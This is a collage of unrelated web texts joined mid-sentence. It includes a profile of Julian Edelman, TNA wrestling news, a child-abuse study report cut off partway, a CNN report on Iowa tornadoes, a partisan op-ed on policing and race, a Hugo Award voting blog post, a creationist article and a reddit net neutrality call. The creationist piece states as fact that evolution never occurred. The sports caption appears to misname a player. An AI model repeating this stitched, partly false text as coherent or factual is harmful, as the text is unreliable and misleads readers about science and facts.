Guy knows how to make a splash: Edelman's 197 catches the past two years rank third in the NFL, behind Antonio Bryant and Demaryius Thomas. Nathaniel Wood
IT STILL TOOK years for Edelman's ambitions to take shape. He wasn't recruited out of high school, so he spent a juco year at the College of San Mateo, then transferred to Kent State. He won the starting quarterback job right away, but it didn't exactly prepare him for a future in the NFL. Despite setting a school record for total offense, he wasn't even invited to the 2009 combine. He wondered if, after graduation, he could find work as a firefighter. "I started checking out firehouses in Cincinnati," Edelman says. "I didn't know what I was going to do. I was starting to get scared."
It was in preparing for the NFL draft that he first decided to train as if his football survival depended on it. Every day he'd wake up at 5 a.m., climb into his truck and drive 50 minutes in the freezing cold to Cleveland, just so he could run routes and catch passes from former Browns quarterback Charlie Frye. The truck's heater didn't work, so most of the time he'd wrap himself in blankets for the drive. When he came home, he'd catch passes from a Jugs machine for an hour, trying to suppress any feeling that it might all be for naught. "I did that every day for three months," Edelman says. "I really grew up. I started to get addicted to the Jerry Rice mentality. I can get up before anyone else does. I can outwork anyone." At Kent State's lightly attended pro day, his time in the shuttle drill was faster than that of anyone else who'd attended the combine that year. The Patriots decided he was worth the late-round gamble.
"The day I'm not producing enough and there is somebody cheaper, I'm gone."
He was a mess during his first training camp. During a break for Wes Welker, Edelman was thrown in with the starters, and he dropped his first pass. At another practice, he lined up on the wrong side of the formation, and Belichick snarled at him, asking if he'd even bothered to study his playbook. "I thought I was studying so hard," Edelman says. "I had flash cards I'd go over constantly, but it was like going from junior high to getting your Ph.D. in terms of complexity." He'd often stay late at the facility, sometimes just staring at his helmet, trying to soak it all up in case he got cut the next day.
He was convinced that his chances of making the team were so thin, he kept from the medical staff that his groin was in agony. He believed the team would simply give him an injury settlement and release him. "I was an idiot, but you feel like you don't have a choice," Edelman says. It wasn't until the year was over -- 37 catches for 359 yards in 11 games -- that he found out he'd just played through multiple sports hernias. "Julian is a tough kid," Belichick told reporters recently. "We knew that right from the beginning."
NOT SURPRISINGLY, EDELMAN spent his first few years with the team in quiet awe of Brady, hoping the quarterback might invite him to work out during the offseason when they were both back in their native California. They shared an agent and grew up near each other, so it seemed like a possibility. The first offseason, Brady called just one time.
As the years went on, the calls became a bit more frequent, even as Edelman's playing time diminished. In 2010, his second year, Edelman caught just seven balls. In 2011, the year the Patriots went 13-3 and played in the Super Bowl, he had only four catches and moonlighted as a corner to help hold on to his roster spot. Yet Edelman obsessed over what routes Brady liked best -- the nuances, like where he preferred to place the ball on certain throws and the way he could convey his intentions with a presnap nod. One year, Brady called to throw while Edelman was at a family barbecue. "I ran so hard, I puked," Edelman says. "He ran me to death." But it paid off: A friendship began to emerge. "He's like a big brother," Edelman says. "He taught me everything about how to be a professional. We'd throw three times a week, then we'd go have lunch at his house, and at first it was surreal for me. Just me and Tommy, hanging out. Is this for real? But then it became just normal. I stopped being scared of him."
Jason LaVeris/FilmMagic/Getty Images
After combining for two big Super Bowl catches, Edelman and Malcolm Butler hit the Grammys, then the Boston duck boats. Stan Grossfeld/The Boston Globe/Getty Images
Edelman was still a journeyman type in the eyes of everyone else, though, including his head coach. In 2013, when Welker signed with the Broncos, Belichick brought in Danny Amendola from the Rams as his replacement. Edelman trusted, however, that the countless hours he'd invested with Brady would be his secret weapon. When Amendola had trouble staying healthy, Brady started firing darts Edelman's way. By the end of the year, he'd caught more passes (105) than he had his entire career. As a free agent following the season, he might have gotten more money elsewhere, but he re-signed with the Pats because he wanted to keep playing with Brady. "Julian and I share the same work ethic and commitment to the team concept," Brady says. "It's been great watching him grow as a person, as a player and now as one of the leaders of our team."
Watching the way Brady handled his business, both on and off the field, also pushed Edelman to think about a life outside of football. Leading up to the 2013 season, a mutual friend set up a lunch meeting with Assaf Swissa, the creative director for Superdigital. As Edelman's profile grew, Swissa persuaded him to star in a series of playful -- and surprisingly funny -- YouTube videos in which the wide receiver hosts a fake talk show, shares his favorite smoothie recipes and conducts bumbling mock interviews like he's a slimmed-down Zach Galifianakis. "SmoothieTyme" and "BurgerTyme" soon racked up some 250,000 views each.
"It's fun. You get to show the fans a little bit about you," Edelman says. "It's kind of a way to say, 'Hey, I like Dumb and Dumber too.'"
Edelman's Facebook page has grown to 621,000 followers, Instagram to 465,000 and Twitter to 392,000. A parody of the Growing Pains theme song, "Growing Pats," that was posted to Edelman's YouTube page just before the Super Bowl, has 1.6 million views to date. All of it raises his profile -- and might give him more career options when the NFL is done with him.
"Videos and social posts and cool T-shirt designs, this is the new Rolex watch for athletes," Swissa says. "This is the new cool thing you get to show off."
And so when Edelman threw a surprise 51-yard touchdown pass in the Patriots' AFC divisional playoff win over the Ravens, a pass that helped his team erase a 14-point deficit for the second time, Swissa knew exactly what he needed to do. He left Gillette Stadium around midnight and didn't get back to his house until nearly 1 a.m., but he immediately sat down in front of his computer and started designing a T-shirt with a silhouette of Edelman throwing the touchdown to Amendola. He finished the design around 4 a.m., sent it off to production and got the shirt up for sale on Edelman's website by 10 a.m. Within hours, Swissa says, Patriots fans were flooding the site with orders for the $29.99 shirt.
Back on the field, Edelman had been so focused all these years on surviving in the NFL, he'd forgotten how good it felt to uncork a touchdown pass. As he walked to the sideline, high-fiving Brady, Amendola and the rest of his teammates, he was briefly transported in his mind to the park near his parents' house in Redwood City, throwing footballs with his dad.
Weeks later at the Super Bowl, with under three minutes to play, Edelman ran a perfect route, shook free from Seahawks defensive back Tharold Simon and caught a touchdown from Brady to give the Patriots a 28-24 lead. But there was no time for reflection. When Brady came over to praise him on the sideline, Edelman growled back, "It doesn't mean s--- unless we win."
When New England prevailed, Edelman stood on the platform during the trophy presentation and scanned the crowd until he finally spotted his father, and the two locked eyes. I love you, Edelman messaged in sign language, a gesture they'd often used growing up. Frank signed the same words right back, and Julian began to cry.
Months later, as he pops edamame, Edelman's nostalgic mood has passed. There will come a day, he says, when he'll try to let the unlikeliness of his career sink in. But he's not there yet. If he's learned anything from Frank Edelman and Bill Belichick, it's that every day your job is on the line. His next moment is yet to be earned.UPDATE ON THE STATUS OF JAMES STORM, MAGNUS AND AUSTIN AIRIES, TNA RADICALLY CHANGING THE WAY THEY DO BUSINESS
As reported earlier on the site, James Storm’s contract with TNA ends tomorrow after Slammiversary, as does that of Magnus. In the case of both men, they went to TNA management and asked to be let out of their deals due to the fact that TNA runs far fewer shows than they have in the past, meaning they are making a lot less money.
Storm and Magnus have opportunities to work in other places and both wanted to be able to do so and make money for their families. To their credit, TNA management understood the new reality that the company faces, as less shows equal less money for the talents, and they let both men out of their deals. At this point, TNA is largely a wrestling company that produces a TV show as opposed to a full on wrestling company that does live events as well, and they are changing the way that they operate to reflect the new reality of what their business is.
The current plan is to have both men come back and work the tapings and be members of the promotion’s TV shows, while being able to find other work to supplement their TNA work. Obviously, if WWE wanted to make a run at either man, they could do so and TNA realizes that. They decided to take the risk of that happening due to the respect that they have for both men. I applaud them for that. They didn’t have to let them out of their deals but they did the right thing as the circumstances around the company changed since the contracts were put in place.
Austin Aries will also see his contract expire after tomorrow’s show so he will be in the same situation as the men above. TNA also wants to work with him in the future.
Given the changing landscape of their business, TNA is adjusting their view on how they will promote themselves going forward. They showed that last week when they brought Jeff Jarrett in to Impact and signed him to compete at tomorrow’s Slammiversary PPV. From what we have been told, TNA is very open to working with Jarrett and his Global Force Wrestling promotion going forward. I fully expect Storm and company to at least be considered for their shows. This is a change from just a month or so ago when TNA stopped Tyrus from working for GFW.
Going forward I expect more events like this to happen. TNA doesn’t have the revenue it once had so it is not in a position to guarantee many contracts. I expect they will keep control of people like EC3, Kurt Angle and Jeff Hardy. Beyond that, I think they will be open to doing for people what they did for Storm and Magnus. It will be up to the talent to understand if they are better off keeping their contract or trying to go out and make it on their own.
If you enjoy PWInsider.com you can check out the AD-FREE PWInsider Elite section, which features exclusive audio updates, news, our critically acclaimed podcasts, interviews and more, right now for THREE DAYS free by clicking here!On my stream for the next few weeks, I will be offering free reviews, tutorials, tips, and lessons for viewers who join IRC and request it. This will run off of first come, first serve basis for people who join IRC only. I tried this once before and the friend requests stacked up; I got to a lot of you, but there were also some who didnt get what they wanted. So if you are seeking advice or just wanna play with a high ELO player, join IRC and send me a query to get it started!
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Like my facebook page for updates on when I stream and other pertinent information! http://www.facebook.com/ExemptPuddleImage caption The effects of abuse can last for decades, say researchers
People who were maltreated as children are more likely to have poor health and living standards decades later, a study suggests.
The researchers tracked 8,076 people born in 1958 until the age of 50.
Those who had been abused were 70% more likely to have long-term illnesses and to not own their homes by the age of 50 than those who had not, they found.
The University College London team said those who had experienced more than one form of abuse had doubly bad outcomes.
This was compared with those who had suffered no abuse or maltreatment.
'Peak earnings'
The study, published in US journal, Pediatrics, and undertaken as part of the Public Health Research Consortium, showed that the potential impact of child neglect and abuse could have socio-economic impacts for decades.
The researchers found that neglected children often had worse reading and maths skills in adolescence than their peers.
This could hamper their ability to find work and progress in the job market, they said.
But these factors did not explain the poorer standard of living for those reporting child abuse, they added.
A person's economic circumstances at the age of 50 are important as it is close to the peak earning capacity in the UK, the study said.
'Action needed'
Poor living standards at this age can signal hardship and associated ill-health during old age, it added.
Dr Snehal Pinto Pereira, of U |
Sacramento region and attract alumni back to campus. The Event Center will be a place that would attract area residents to campus. Approximately 1 in 20 greater Sacramento residents attended Sac State and would be able to return to campus to enjoy the Event Center. Alumni engagement benefits students by increasing donation funding for programs, scholarships and activities and providing increased networking opportunities. Sacramento State's image will expand as it becomes the "go-to" location for education, arts and entertainment. The Event Center may adversely impact the usage of smaller campus venues. While this is not expected to happen based on current need, there is a concern that the University Union would be impacted by the lack of usage.
The Event Center will increase capacity for existing events such as the Career Fair, Orientation and ceremonies. Recruitment and career enhancing events that are currently squeezed into the University Union will have room to grow; creating more opportunities for students. Graduation may move back to campus instead of taking place at Sleep Train Arena.(CNN) -- An Iowa community was shut down much of Sunday afternoon while emergency crews remained hard at work, sifting through wreckage caused by a wave of powerful tornadoes that swept across the state overnight.
The twisters caused major damage to about 60% of Mapleton, a city of about 1,200 residents, Monona County Sheriff Jeff Pratt told reporters Sunday.
It was all part of a violent storm system that struck overnight, originating in eastern Nebraska and following a warm front across northern Iowa, according to National Weather Service meteorologist Frank Boksa.
But despite causing extensive damage, it did not lead to any fatalities, said Stefanie Bond, a spokeswoman for Iowa's Homeland Security & Emergency Management Division.
Wildfires in Texas | Flooding in upper Midwest
Mapleton was among the hardest-hit areas. Initially, concerns about a gas leak had prompted all nonresidents to be barred from the community, which is about 45 miles southeast of Sioux City. By 5 p.m., people were being allowed back in, though authorities remained on the scene, according to the sheriff's department.
The high winds tossed cars and tractors, tore off roofs, caused a car wash to collapse, uprooted trees and downed power lines. Yet Pratt said there had been only minor injuries, giving credit to advance warning as well as an emergency response effort that included authorities both local and from elsewhere.
"There was major devastation to the southwest portion of town, but no fatalities," the sheriff said.
Iowa Gov. Terry E. Branstad issued a disaster proclamation for Monona County, according to a statement from his office. The proclamation allows officials to use state funds to help. He later issued a similar proclamation for Pocahontas County, which also suffered severe damage.
He then toured the tornado-ravaged town on Sunday afternoon, posting pictures online of uprooted trees and conversations with residents. On his Twitter page, Branstad wrote, "Please keep the victims in your thoughts and prayers."
The twisters struck just before midnight Saturday.
Amateur video recorded by storm chasers shows a large funnel cloud spinning across a flat terrain outside Mapleton.
In the background, a passenger can be heard exclaiming, "It's going to hit that town!... Mapleton's in big trouble!"
Did you witness the storm? Share your story
Afterward, National Guard troops were brought into the area, according to Stefanie Bond, a public information officer for the state's Homeland Security & Emergency Management Division. She also said that natural gas service was temporarily shut off in the city.
The Red Cross was also on the ground providing assistance. Bruce Spence, a government liaison for the group, called the damage to the town "extensive."
"The whole town is without power. Main Street is a disaster," he told CNN. "They've shut down the town. As we speak, I'm looking down one of the residential streets. There's debris all over, trees are down.
"This isn't going to get fixed soon," Spence said.
The National Weather Service in Des Moines, Iowa, reported tornado sightings by storm chasers and trained spotters in as many as 11 towns and cities in northern and west-central Iowa over a four-hour period Saturday night.
At least three of the twisters, including the Mapleton tornado, caused significant damage, according to Boksa.
In Early, a town of 1,600 residents, a tornado ripped roofs off buildings and homes and uprooted large trees, authorities said. There were no reports of injuries in that town. In Schaller, a twister knocked down a dozen trees and felled multiple power poles, the weather service reported.
Tammie Pech, a Red Cross spokeswoman, said the agency was opening shelters in Mapleton and Early to take in storm victims. Only four people slept in the Mapleton shelter overnight Sunday, Spence said. Most displaced residents opted to stay with family and friends, he said.
The National Weather Service also reported major damage in Nemaha, possibly from a tornado.
Bond noted that strong winds also tore through hog pens in Pocohontas Country, in central Iowa, and Kossuth County, in the east along the Illinois border.
Three cities in Fayette County -- Fayette, Westgate and Maynard -- were without power for about an hour Sunday evening due to a blown transformer, the state's emergency management spokeswoman said.
Randy Frank, Fayette County's homeland security and emergency management coordinator, said that the challenges continued well after the tornadoes came through, with sustained winds blowing at least 50 mph into Sunday evening.
"Our biggest problem right now is fuel fires out of control," said Frank, whose county is about 255 miles from Monona County. "And it's that way across the state, with the wind, which (can) be very dangerous in (fanning) the fire."
CNN's Greg Morrison, Greg Botelho and Leslie Tripp contributed to this report.Hillary Clinton repeated her incessant lie last night that the criminal justice system is infected with “systemic racism.” Race “determines” how people are “treated in the criminal justice system,” she said. Blacks are “more likely [than whites] to be arrested, charged, convicted and incarcerated” for “doing the same thing.” Such a dangerous falsehood, should Clinton act on it as president, would result not just in misguided policies but in the continued delegitimation of the criminal justice system. That delegitimation, with its attendant hostility and aggression toward police officers, has already produced the largest one-year surge in homicides in urban areas in nearly a half-century.
Criminologists have tried for decades to prove that the overrepresentation of blacks in prison is due to criminal-justice racism. They have always come up short. They have been forced to the same conclusion as Michael Tonry in his book, Malign Neglect: “Racial differences in patterns of offending, not racial bias by police and other officials, are the principal reason that such greater proportions of blacks than whites are arrested, prosecuted, convicted and imprisoned,” Tonry wrote. In 1997, criminologists Robert Sampson and Janet Lauritsen reviewed the massive literature on charging and sentencing. They found overwhelming evidence establishing that “large racial differences in criminal offending,” not racism, explained why more blacks were in prison proportionately than whites and for longer terms.
To say, as Clinton did last night, that blacks are more likely to be incarcerated for doing the same thing as whites ignores the relevance of a defendant’s criminal history in determining his sentence, among other crucial sentencing factors. Just last week, an analysis of Delaware’s prison population presented to the Delaware Access to Justice Commission’s Committee on Fairness in the Criminal Justice System revealed that when juvenile and adult criminal records are taken into account, along with arrest charges and age, racial disparities in sentencing decisions are negligible to nonexistent.
Clinton also complained that “too many young African-American and Latino men end... up in jail for non-violent offenses.” In fact, the majority of prisoners in the U.S. are serving time for violent felonies. The enforcement of low-level public order offenses in New York City during the mayoralties of Rudolph Giuliani and Michael Bloomberg actually lowered New York State’s prison population by intervening in criminal behavior early, before it ripened into a serious felony. Even as misdemeanor arrests increased in the city, felony arrests and felony incarcerations dropped. The number of jail inmates and convicts under parole and probation supervision in New York City dropped as well. Hillary Clinton may think that low-level public-order enforcement (otherwise known as “broken windows” policing) is racist, but law-abiding residents of high-crime communities beg the police to enforce public-order laws because they know that out of street disorder erupts gun violence and other forms of predation.
Clinton reiterated her call for “implicit-bias” training for officers. The premise of such training is that police officers are shooting black males out of such bias. Yet, four studies have come out this year alone that demolish this charge. They show that if there is bias among police officers in their shooting decisions, it works in favor of blacks and against whites. “Implicit-bias” training, based on a lie, is a grotesque waste of resources at a time when officers are desperate for more hands-on tactical training that will help them make those crucial shoot/don’t shoot decisions in the field, or avoid being put into such an excruciating situation in the first place.
Clinton claimed that “stop-and-frisk was found to be unconstitutional.” No federal judge would have the power to declare pedestrian stops unconstitutional, because the Supreme Court put its constitutional imprimatur on the practice in 1965. Stop-and-frisk remains a lawful and essential police tactic. Criminologist David Weisburd examined the practice in New York City and found that it reduced crime in shooting hot spots. Federal district court judge Shira Scheindlin did rule that the New York Police Department’s practice of stops was racially biased, but her ruling applied only to the New York Police Department. That ruling was wholly unjustified and would likely have been reversed on appeal, had newly elected New York City mayor Bill de Blasio not dropped the appeal. Judge Scheindlin used a population benchmark for measuring the lawfulness of police actions: if police stops didn’t match population ratios, they were unconstitutional, in Scheindlin’s view. Such a methodology ignores the massive disparities in criminal offending in New York City. Blacks commit over three-quarters of all shootings, though they are 23 percent of the city’s population. Add Hispanic shootings to black shootings and you account for 98 percent of all shootings in New York City. Whites are 34 percent of the city’s population; they commit less than 2 percent of all shootings. Such disparities in gun violence mean that virtually every time the police are called out on a gun run—meaning that someone has been shot—they are called to minority neighborhoods on behalf of minority victims, and, if any witness or victim is cooperating with the police, being given a description of a minority suspect. The reality of crime, not phantom police racism, determines the incidence of police activity, including pedestrian stops.
Clinton claimed that stop-and-frisk was “ineffective” and “did not do what it needed to do.” Felony crime dropped 85 percent from the early 1990s to the mid-2010s in New York City; more than 10,000 minority males were spared the violent death that they would have experienced had homicides remained at their early 1990s levels. Stop-and-frisk was a crucial part of that crime drop, the longest and steepest on record; it’s hard to imagine anything more effective than New York’s proactive policing revolution. Stop-and-frisk deterred criminals from carrying guns. Equally importantly, it intervened in a range of other criminal behaviors. If an officer saw someone casing a store on a boulevard plagued with burglaries, or saw someone walking quickly behind an elderly lady in a neighborhood plagued with robberies, he would stop that person and ask a few questions. That stop may not have resulted in an arrest, but it could have averted the commission of a crime.
Homicides and shootings in New York City rose 20 percent in the first half of 2015, thanks to the Scheindlin-induced drop in pedestrian stops. Then-police commissioner William Bratton responded with a massive deployment of overtime manpower to high-crime corners; officers used “command presence”—i.e., their mere presence on the street—to deter criminal behavior. This roll-out of manpower resources quelled the shooting spike and New York City ended 2015 with a 6 percent homicide increase. Other departments do not have the personnel available to them to make up for a drop in proactive policing.
Donald Trump is right to warn about depolicing and what I have called the Ferguson Effect. “Right now, our police, in many cases, are afraid to do anything,” he said. The result is a massive loss of black lives in places like Chicago and Baltimore. Law and order are breaking down in inner cities; officers are surrounded by hostile, jeering crowds when they get out of their squad cars to conduct an investigation. Resistance to arrest is up, increasing the chances of an officer’s own use of force. And race riots are returning to American cities. The current mendacious narrative about policing and race has to change or we can expect to see further violent-crime increases and further racial violence. It is clear, however, that Hillary Clinton will continue to enflame racial tensions through a set of lies about the criminal-justice system.
Photo by Drew Angerer/Getty ImagesThe Hugo Vote Vote Ramble
In checking blogs between furious mastur… writing sessions (15 chapters left as of this writing), I ran across George R.R. Martin’s complaint about the upcoming Hugo Vote Vote. It also lines up fairly well with File770s sum up using 2015 data.
That is to say, the fine WorldCon elite are voting on what sort of amendments to make to the voting process to ensure that slates (no matter their proponents) see a diminished effect on the finalists. Clearly, from the No Award results of last year (which I still consider the larger Hugo debacle by far) there is no reason for George to think there is a need to change finalist voting methodology. That’s fine by me, so long as something is put in place that will sate people enough to avoid No Award results in the future. I will add this on before talking about the post proper, however: If “one side” voted their slate last year, then it’s hard to hold water with any argument that there is no “other side” considering the No Award outcomes. Clearly SOMEONE felt upset enough at the state of the Hugos to push the Puppy slate into the places it ended up and SOMEONE ELSE felt upset enough to vote against them. Considering the way final awards are issued, if anything, it gives an amount of legitimacy to the claim that, whoever they are and whatever their agendas, someone does not like the puppies. Doubtful anyone would ever admit that, but in a den of liars, the deaf man hears only truth. Or something like that.
So let’s talk about the voting methodologies a bit for a second. EPH is simple enough in essence, though people seem to struggle with it. You divide your points up among books, and as books you voted for are eliminated, those points get added to other books. This will be handled by software (HOPEFULLY OPEN SOURCE) and is an incredibly clever, effective way to minimize slates of any stripe. I am very much in favor of it. Very, very much. As I said before, people who paid their $40+ should have their vote. And further, $40 WorldCon members are no less valuable than any other. I’ve seen the blogs that suggest otherwise. Awful.
To sum it up, EPH lets your vote gain weight as books that didn’t make the cut get dropped. A sort of Last Book Standing sort of thing. Clever, mathematically sound, hard to subvert without super-mega-majorities voting in lockstep (which the slates tend to be, but still, it will prevent the sweeps that seem to be the major point of contention [buttherearenosides{thisisjustaboutslatesdontbesilly}]).
4/6, the other, is hot trash. Basically, there will be six finalists and only four can be nominated by any given user. This is INCREDIBLY easy to mass organize around and would result in (even at the most inept) four book slates battling it out and (at any level of organization with a brain) all six being taken. The simplistic nature of slating around 4/6 is as follows: “Dear All Rabid Trufan Puppy Chorfs: If you first name begins with A-M, vote these (slate). All others, vote this way (votevote).”
Obviously, you would want to correct here for common name first letters or whatever. This would be easily enough done and is unlikely to change in the near term, so the work would only need to be done once for many years worth of voting. You could use any number of things to determine it (including optimizing to ensure positions 1-6 get a proportion of votes that are most likely to give them the slot, such as top-loading the first vote to grab 1-4 and the second to ensure 5-6). States of residence might make vote brigades easier to follow, but any number of other systems could be put into place. But still, if this process is repeated across a wide enough field of voters, you have places set up pretty cleanly and it’s a simplistic example. The same could happen in EPH, but it would require one book per subsection of voter and is less likely to land and slightly easier to suss out, again. Loads and loads of single-entry votes pour in near the same time? Well, easier to prove slating and another round of angry/so-over-it-you-guys-seriously-but-one-more-post Scalzi blogs will keep everyone enjoying the weeks after.
At the baseline, you get to Martin’s issue with the proposed replacement systems and the point of this post. He doesn’t like that they don’t kill bloc voting. And, in doing so, he has shown the frustration of literally every human being on the planet who has a problem with Donald Trump. But here’s the problem with it all. With the entire complaint from the ground up:
If you want a free and open vote to go your way, you have to convince people to vote the way you want them to. Otherwise, what you want isn’t a fair vote.
There is no magic bullet to stopping the majority from being represented in a free and open vote. Removing that vote would destroy the meaning of the Hugo and essentially put it behind the same sort of walls as the Nebula Awards, which is a curious award lately, but I’ll refrain from commenting on it since I don’t much care about awards either way. Keep in mind, these are meant to be measures to REDUCE the power of bloc voting, not erase their ability to contribute or remove their reason to vote.
I doubt I’ve said anything not already in Martin’s comment section (well, other than DURRR WHEN BOK SIX COME?). The wonder I am left with after the whole of things are said and done, though, is why there is so much concern over wiping slates out entirely? All the suggestions I’ve seen beyond those who are satisfied with the EPH system or 4/6 have a strange emphasis on exposing slates and compensating by removing slated works entirely or expanding the nomination list to work around them (essentially, removing the slated works if No Award is anything to go by). Now, so long as this was an intellectually honest endeavor, where a slate was not considered a “recommendation list” for some and a hard voting slate for others, fine. Why not motion for a ban on public recommendations or anything remotely suggestive of one and enforce it strictly? That sounds fine to me. I think slates disincentive people voting as much as the system as it stands. If the first round system is fixed and No Award votes continue, then No Award should be removed as a consideration as well.
I’ll try to say it short to end up. If there is not a fair system from the first vote to the award being handed over, then the overhauls should continue. No fan of SFF should be made to feel their vote is worthless, no matter the side they sit on. If Scalzi/Stross list (or thread or innocent post about books and Hugo Awards) is fine, so is any Puppy slate, even Vox Day’s. If the others are out, the same diligence must be applied to the others.
There just needs to be honesty and even-handed responses to things. Or transparency when there is not. Or people can stop worrying so much. Jim Butcher is doing fine. John Scalzi is doing fine. Andy Weir is doing fine. Books are for fans. Awards are for fun. Or should be. Maybe not so more now that everyone all over needs some fucking crusade.Speedy species surprise
The rapid appearance today, of new varieties of fish, lizards, and more defies evolutionary expectations … but fits perfectly with the Bible.
by David Catchpoole and Carl Wieland
Wikimedia commons: L Church
Researchers in Trinidad relocated guppies (Poecilia reticulata) from a waterfall pool teeming with predators to previously guppy-free pools above the falls where there was only one known possible predator (of small guppies only, therefore large guppies would be safe).1
The descendants of the transplanted guppies adjusted to their new circumstances by growing bigger, maturing later, and having fewer and bigger offspring.
The speed of these changes bewildered evolutionists, because their standard millions-of-years view is that the guppies would require long periods of time to adapt.
One evolutionist said, ‘The guppies adapted to their new environment in a mere four years—a rate of change some 10,000 to 10 million times faster than the average rates determined from the fossil record.’2
Leggy lizards
And it’s not just guppies. In the Bahamas, small numbers of anole lizards (Anolis sagrei) were transplanted from an island with tall trees to nearby islands where there were previously no lizards and only smaller bushy vegetation.
‘The guppies adapted to their new environment in a mere four years—a rate of change some 10,000 to 10 million times faster than the average rates determined from the fossil record.’—Morell, V., Science, 275:1880, 1997.
Body form rapidly changed in succeeding generations.3 In particular, the relative length of hindlimbs was greatly decreased—thought to be an adaptation for life amongst the twigs of the scrubby vegetation in the lizards’ new habitat. (Lizards that live on tree trunks have longer legs than those that live on twigs—an apparent trade-off between the agility necessary for twig-to-twig jumping and the speed that longer limbs provide on the broad surface of tree trunks.)4,5
But again it was the speed of adaptation, many thousands of times higher than (their interpretation of) the ‘fossil record’ that surprised evolutionists.6
Daisy diaspora
On small islands off British Columbia, the seeds of wind-dispersed weedy plants in the daisy family (Asteraceae) are rapidly losing their ability to ‘fly’. Specifically, the embryo part of the seed is becoming fatter while the parachute-like ‘pappus’ that keeps each seed aloft is becoming smaller. These changes are advantageous because they reduce dispersal—otherwise, on such tiny islands, lightweight windblown seeds would be lost in the ocean (which is why they have left fewer descendants). Note that these changes involve the loss of the capacity for long-range airborne dispersal.7
Flies, fish and finches
Other examples of rapid adaptation, even to the extent of producing ‘new species’—speciation—abound. (If a population arises from another which cannot interbreed anymore with its parent population, it is generally defined as a new species.)
Wikimedia commons: Marrabbio2
Creation magazine recently reported how evolutionists described as ‘alarming’ the rate of change in the wingspan of European fruit flies introduced accidentally to America.8,9,10 Similarly, rapid changes have been reported recently for Drosophila fruit flies and sockeye salmon—within just nine and thirteen generations respectively.11
In the case of Darwin’s famous finches, it had been estimated that from one million to five million years would have been necessary for today’s Galapagos Island species to radiate from their parent populations. But actual observations of rapid finch adaptation have forced evolutionists to scale that back to a timeframe of just a few centuries.12
Mosquitoes and mice
Not long ago, evolutionists were astonished to find that bird-biting mosquitoes, which moved into the London Underground train network (and are now biting humans and rats instead), have already become a separate species.13 And now a study of house mice in Madeira (thought to have been introduced to the island following 15th century Portuguese settlement) has found that ‘several reproductively isolated chromosomal races’ (in effect, new ‘species’) have appeared in less than 500 years.14
In all of these instances, the speedy changes have nothing to do with the production of any new genes by mutation (the imagined mechanism of molecules-to-man evolution), but result mostly from selection of genes that already exist. Here we have real, observed evidence that (downhill) adaptive formation of new forms and species from the one created kind can take place rapidly. It doesn’t need millions of years.
Shouldn’t evolutionists rejoice, and creationists despair, at all this observed change? Hardly. Informed creationists have long stressed that natural selection can easily cause major variation in short time periods, by acting on the created genetic information already present. But this does not support the idea of evolution in the molecules-to-man sense, because no new information has been added.
Wikimedia commons: Paul Hirst Anole lizards have been observed to change rapidly under the right conditions … observable evidence in favour of Biblical natural history.
Selection by itself gets rid of information, and of all observed mutations which have some effect on survival or function,15 so far even the rare ‘beneficial’ ones are also losses of information. The late-maturing, larger guppies resulted simply from a re-shuffling of existing genetic material.16 Such variation can even be sufficient to prevent two groups from interbreeding with each other any more, thus forming new ‘species’ by definition, without involving any new information.
The Biblical account of history not only accommodates such rapid changes in body form, but actually requires that it would have happened much faster than evolutionists would expect. As the animals left the Ark, multiplying to fill the Earth and all those empty ecological niches, natural selection could easily have caused an original ‘dog kind’ (e.g.) on the Ark to ‘split’ into wolves, coyotes, dingoes, etc. Because there are historical records showing some of these subtypes in existence only a few hundred years after the Flood, this means that there had to have been some very rapid (non-evolutionary) speciation. So it is encouragingly supportive of Biblical history when some such rapid changes are seen still occurring today.17 And this is being repeatedly confirmed.
But since evolutionists mistakenly interpret all such adaptation/speciation as ‘evolution happening’, they are left stunned when it happens much faster than their traditional interpretations of the fossil record would allow. (This is, of course, easy to understand when it is realized that the standard idea about the fossil record—that it is a ‘tape-recording’ of millions of years—is in fact a misinterpretation. The record reflects the way in which a global Flood and some of its after-effects buried a world of plants and animals, in a time sequence which did not involve millions of years.)
Even some evolutionists point out that evolution in the molecules-to-man sense was not observed in any of these studies.
Because such fast changes challenge traditional evolutionary ideas, the findings are often disputed, but with little success.2 Rapid ‘evolution’ (a misnomer, as we have seen) is welcomed by some fossil experts who support the idea of ‘punctuated equilibrium’.18 This is the notion that the evolutionary history of life is one of mostly no change, ‘punctuated’ by short, sharp bursts of evolution (which, conveniently, happen too briefly to be recorded in the fossils). However, not only is this still a minority view among evolutionists, it begs the question of why, if fast change is everywhere, has not a vastly greater number of new species been generated over ‘geologic time’? I.e. the observed changes are still too fast for comfort.
Not only is this rapid change not adding information, even some evolutionists point out that evolution in the molecules-to-man sense was not observed in any of these studies. The finches are still finches, the mosquitoes stay mosquitoes, and the mice remain mice. One evolutionary geneticist, referring to the guppy data, said, ‘As far as I know, these are still guppies.’2
Setting the record straight
If we start with the Word of the One who knows all, the evidence of today’s world makes a great deal of sense. Creatures were to reproduce ‘after their kind’, so mice come from mice, lizards from lizards, daisies from daisies. Evolution has never occurred, nor does it occur today. But organisms have a wonderful ‘built-in’ genetic capacity for rapid change in response to environmental pressures—most easily observed today in isolated island environments.
Such examples of rapid adaptation give us an insight into how the Earth’s many vacant ecological niches were recolonized after the Flood—a global event in real history. This event buried the ‘world that then was’ (2 Peter 3:6). Because this was already a fallen world, the fossils record death, suffering and disease. Because it was a created world, the fossil record consists of the remains of some creatures that no longer exist, and some that still do, but no sequence of one type changing by stages into a totally different type, whether slowly or quickly.The time for defending the open internet and net neutrality is now.
We are joined by a large number of companies to figuratively “slow down the Internet” to make clear that an open & neutral Internet is the only way to go. reddit itself has been working and engaging with congressional representatives and FCC officials to encourage them to support net neutrality.
Right now, people have sent over 1 million comments to the FCC. Congress and officials at the FCC have taken note and are listening.
Now is the time to contact your congressional representative and tell them to support an open and neutral internet now. Be sure to call them and then tweet them publicly to make sure your voice is counted. If you are a redditor outside the United States, you can join the action as well.
What has happened so far?
redditors have helped by
* contacting their congressional representative,
* calling the FCC
* filing comments into the FCC’s docket
* melting the FCC’s servers multiple times.
* helped contribute and even deliver reddit, Inc’s official comment to Washington D.C.
fyi, here is a sample tweet you can use:
